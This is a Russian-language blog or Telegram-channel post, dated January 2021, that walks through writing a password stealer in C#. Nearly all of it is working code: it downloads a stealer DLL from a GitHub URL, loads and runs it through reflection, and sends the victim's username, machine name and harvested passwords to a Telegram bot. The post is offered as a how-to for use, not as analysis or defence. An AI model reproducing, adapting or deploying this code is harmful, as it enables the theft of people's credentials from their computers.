January 26, 2021

Динамическая загрузка DLL (пишем стиллер в 9кб)

Источник: t.me/Bureau121

Будем юзать пространство имен System.Reflections

Рефлексия представляет собой процесс выявления типов во время выполнения приложения. Каждое приложение содержит набор используемых классов, интерфейсов, а также их методов, свойств и прочих кирпичиков, из которых складывается приложение. И рефлексия как раз и позволяет определить все эти составные элементы приложения бла-бла-бля
public static byte[] GetLibrary()
{
    byte[] dll = new byte[0];
    string url = "https://raw.githubusercontent.com/L1ghtM4n/DynamicStealer/main/DLL/PasswordStealer.dll";
    using (var client = new WebClient())
    {
        try {
            dll = client.DownloadData(url);
        } catch (WebException) {
            Environment.Exit(1);
        }
    }
    return dll;
}

Теперь напишем функцию GetPasswords которая

  • принимает байты дллки
  • загружает её
  • вызывает функцию оттуда
  • и возвращает пароли нам
public static string GetPasswords(byte[] dll)
{
    // Загрузить дллку
    Assembly asm = Assembly.Load(dll);
    // Создать экземпляр
    dynamic instance = Activator.CreateInstance(
        asm.GetType("PasswordStealer.Stealer"));
    // Получить функцию восстановления паролей из дллки
    MethodInfo runMethod = instance.GetType().GetMethod("Run",
        BindingFlags.Instance | BindingFlags.Public);
    // Вызов метода восстановления паролей
    string passwords = (string)runMethod.Invoke(
        instance, new object[] { });
    // Возвращаем пассы
    return passwords;
}
Функция UploadReport будет отправлять пароли в телегу

C#:

public static bool UploadReport(string passwords)
{
    string report = quot;*New report*\n" +
        quot;*UserName:* {Environment.UserName}\n" +
        quot;*CompName:* {Environment.MachineName}\n\n" +
        quot;*Passwords:* \n{passwords}";
    string telegram_api = "https://api.telegram.org/bot";
    using (var client = new WebClient())
    {
        try
        {
            string response = client.DownloadString(
                telegram_api + "<TOKEN>" +
                "/sendMessage?chat_id=<CHAT_ID>"+
                "&text=" + report +
                "&disable_web_page_preview=True" +
                "&parse_mode=Markdown"
            );
            return response.Contains("\"ok\":true,");
        }
        catch (WebException)
        {
            return false;
        }
    }
}
И главная функция

C#:

static void Main()
{
    // Это надо для правильной отправки
    ServicePointManager.SecurityProtocol = SecurityProtocolType.Tls
                                         | SecurityProtocolType.Tls11
                                         | SecurityProtocolType.Tls12
                                         | SecurityProtocolType.Ssl3;

    byte[] dll = GetLibrary(); // Скачать байты dll
    string pwd = GetPasswords(dll); // Вызов методов dll и возврат паролей
    UploadReport(pwd); // Отправляем пароли боту Telegram
}



ПОДПИСАТЬСЯ - Бюро121